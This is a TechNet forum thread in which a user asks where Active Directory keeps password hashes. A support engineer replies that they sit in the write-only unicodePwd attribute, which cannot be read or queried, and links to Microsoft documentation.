      Sunday, May 8, 2016 2:33 AM

  • Remove From My Forums
  • Question

  • Hi, i’m wondering where are the hashed passwords of user accounts stored in active directory? I just want to be able to see for myself where they actually are and haven’t been able to find a proper answer yet online.

    Thanks

Answers

    • Proposed as answer by

      Friday, May 6, 2016 6:12 AM

    • Marked as answer by
      Jay Gu
      Sunday, May 8, 2016 2:33 AM
  • Hi,

    The password is stored in the AD and LDS database on a user object in the unicodePwd
    attribute. This attribute can be written under restricted conditions, but it cannot be read. The attribute can only be modified; it cannot be added on object creation or queried by a search.

    For more information, you could refer to the article below.

    https://support.microsoft.com/en-us/kb/269190

    Best Regards,

    Jay


    Please remember to mark the replies as answers if they help and un-mark them if they provide no help. If you have feedback for TechNet Subscriber Support, contact tnmff@microsoft.com.

    • Proposed as answer by
      Jay Gu
      Friday, May 6, 2016 6:12 AM
    • Marked as answer by
      Jay Gu
      Sunday, May 8, 2016 2:33 AM

Понравилась статья? Поделить с друзьями:
  • Как посмотреть пароль в диспетчере учетных данных windows 7
  • Как посмотреть пароль от компьютера windows 10 в настройках
  • Как посмотреть пароль в браузере edge windows 10
  • Как посмотреть пароль в windows live mail
  • Как посмотреть пароль в microsoft edge на windows 10